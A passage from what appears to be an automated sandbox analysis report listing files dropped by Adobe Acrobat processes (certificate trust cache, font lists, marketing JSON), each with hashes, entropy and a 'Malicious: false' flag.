')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.6883123946292655
Encrypted:	false
SSDEEP:	3:kkFkljIOSpk3/tfllXlE/HT8k5lJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKjO0seT8o3NMa8RdWBwRd
MD5:	9FD9640D85F9712B4890F008034A4F55
SHA1:	3926516A854A15014FA4D8D5FE713063FBCD0E47
SHA-256:	51240855DCC0B3742891AFB36DCD1BD48A273BD58E3414F9A73D75C7A3B4841B
SHA-512:	C4F97EB5B7CECB8F5D1DD03E99B4B24873B4C1A5D9CF954FB76CF12CF05BE837E0CFE1691CB18D75669A741F2F95E5AEC06313A96D4A91591F0A5F047CBCF3CB
Malicious:	false
Preview:	p...... .........-...c..(....................................................... ..........W.....O..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK9uL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:EiDImsLNkPlE99SNxAhUe/3
MD5:	D65269A077991E88E57C522B11A33B73
SHA1:	B6CF541F118D60BC869BD05EF4FD88175F46E90D
SHA-256:	D9E496CF3AF01617D3A0B65AD1F4C21099F90869A90780381EB0322817D96388
SHA-512:	DE63B3B2073243197D618C991A7E7576C725C400E33BDF138E35C9BB0200C1244A8617C7406AEB9080BC29DFEBD47A6B5689966CC9B7AF37CA163B28DD540132
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.373097603962669
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJM3g98kUwPeUkwRe9:YvXKXfWwAdk0cMGMbLUkee9
MD5:	7AB033F7BAD097D9025AC21164E2AB01
SHA1:	4EE1C1E3608AA111FB873504ADB8CF5B1E38E14E
SHA-256:	D7E29291DAD763FAF07F94738FEEA84E54C29063A6B0826249BE5784FC71EC20
SHA-512:	1AFFC2E53C99BC74EA2B514E513878A153C7DA7991A72E23CE4125B419FA4D6F77CBC2CA6E374A6131AA4D8941CE3848ECD472B4032FBB040507B5192AF760DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.323398509700049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfBoTfXpnrPeUkwRe9:YvXKXfWwAdk0cMGWTfXcUkee9
MD5:	7152E69894FF8BC8BCE3EAADE3F4F5E0
SHA1:	B12450DD26BCD53717AA7929765E013AA7FC9158
SHA-256:	2D19B00AAFEBC031F2FF26EF639A755D5676C1CFAE2646BB6526535771C5E2E6
SHA-512:	CE4E795B7F7C29AD9C84B5B698AD4E4DAF65245F4C334AAD5D504B7A3629FFBF2101B538F977C15287466D6BC74E6395F572D48CC294DFBA0D77E6878023D6D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301946826226055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfBD2G6UpnrPeUkwRe9:YvXKXfWwAdk0cMGR22cUkee9
MD5:	2FE809E8064D94F838648515FD9B2C26
SHA1:	AC53331708F01C81BBA57955B32C3E9AD91DB77C
SHA-256:	2BC52BE7FB561CEADE8C7A2A26522F5B8BBCA457F3AF389003985852035642EF
SHA-512:	FC4E6E5BB63D96B45B4F7A2E145987CFCCA2C4B7973EEFBDB98C30E5FC6D294D50338BCC23E4AF4C1C26B49FE595693C944BC809D919FE2042694CA749CFEBD1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3534617311229376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfPmwrPeUkwRe9:YvXKXfWwAdk0cMGH56Ukee9
MD5:	CF4099AE8B3A1A31C964F11994BE7C93
SHA1:	1191834E0E43127141936E8317083E8A013CEF51
SHA-256:	3B4182AD73EA8EC60A481CF67238D75976C06186F8AAB53178E31CF3ECBAD9F1
SHA-512:	EE5461F7D9A767B9B2CC916CEECB610FEF6C565F16AA0E13B7B626D3B6DF611C6E0F3DCF62E8129A13E15B7419EF77F83D6F1C5EED02760F136EB16A109364F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6919801155255625
Encrypted:	false
SSDEEP:	24:Yv6XewAaZppLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:YvK/hgy6SAFv5Ah8cv/I
MD5:	28C180104D8AC116C47799451C072543
SHA1:	41A13C4EC3635B02744146FF720540B829CF7D82
SHA-256:	4B04B8A9658A2FE59E3D478B183305E022B7E4D445C85203BD97F9FC9783E938
SHA-512:	93C27CFD167F5739BD892CEF0672E1637C4EE92A8C60D1BF8A5F740C26E5E4BC1C9EF222B92CD2506F6A41FB942F47E37C9A72A357732228CC6122E51A002DC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304915984381889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJf8dPeUkwRe9:YvXKXfWwAdk0cMGU8Ukee9
MD5:	63A39221B7625C221E3054817754FEA2
SHA1:	579DFF859F97AF44A7580261C3713E6423767557
SHA-256:	1C91BD8EE964FCB8303F972F5D5BB41585E73B7C32345133AE898393DD7F8ADE
SHA-512:	1DCEF5F21ACF9B3F86D374D869FFA4F2DE70C86A23E0D7D796BDD459C9F5B1A61E3D332BDF89A5D8467640E7A30D387E92ACC5ABCC8A13C0C1269676C80B033C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30687910560321
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfQ1rPeUkwRe9:YvXKXfWwAdk0cMGY16Ukee9
MD5:	A9CA708B6DA4D26870DE75EE65FECA03
SHA1:	CC52936F54D57FE2E722386D88FBADBB757C6206
SHA-256:	2945BB3C04AEC64F0BD400DFA62914A982BDB730500DCB38B7564FB36A08A120
SHA-512:	0E38631B3DF31309814B8E95FD17A8F22DB508617682ADF824091849189A3FFBEFCB9F94AEE6506D9C64D984DF07FDE7827E10AA468909580EBB9ABA1CF67CFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316405692819055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfFldPeUkwRe9:YvXKXfWwAdk0cMGz8Ukee9
MD5:	72401C30453069D24F3A58AC0E48A677
SHA1:	F9B2028B530D815B981FBB17EB2B7FEB61A3FE45
SHA-256:	42F69D7245C57CBEBADF108516789AE05C994D523B7493095E2E776347B702C5
SHA-512:	BE239A92CFB5F80C65B3BA7F445C9BD8A48CB7874D984323F9CC2FC0F527DCF0C9C359BE57243BB911746DA95F09A394A7A69A3EDBB92F914B1429B8E2EA944C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332086262277829
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfzdPeUkwRe9:YvXKXfWwAdk0cMGb8Ukee9
MD5:	6A0D0E4818B44B21678B53377981E0F6
SHA1:	40B7BE69B0A6DE5E8B78365D16ECB549DBDC0F87
SHA-256:	28C1F5FF7E06D69D26351E057BF1D1072639D19FDD55CCDAB7022DCDD14BEC8C
SHA-512:	3690054AA161FAA76FCF174D84913EBB196D855EEECDB2AEBEFFE5ECE8F2A9CF16DFDEB3B1E5DE257855C56536446E54252A6F06327E70743F68DF09DEB91F8C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312388119893461
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfYdPeUkwRe9:YvXKXfWwAdk0cMGg8Ukee9
MD5:	FEE2615994DE0256B8C6B5D4F32A2B58
SHA1:	8532969BC5B053E4EF3C6AC11D364B1D3423445E
SHA-256:	4DF9D5B76E660C87B58F610FF8BF529B2C3CF3A2DA2153D58F18E1B604C851FC
SHA-512:	83C6AB3D6621E675302004497597B57F86F36E0D933DA9242BC7884142A6EC5F96E4B06BB03BBB0026E05CCE0ADC13951C63F59F85D9D769C52BB94D03177039
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.298955584346325
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJf+dPeUkwRe9:YvXKXfWwAdk0cMG28Ukee9
MD5:	5A6CA2A1DE55BC2588B32BAE01995504
SHA1:	5980E0B68CC22DD0EC17F3006FF7B2C661335F0A
SHA-256:	8BDB92F065A2A4A48E064FD6A0B7C9912DC60BA29B949EF6E389F43933B98432
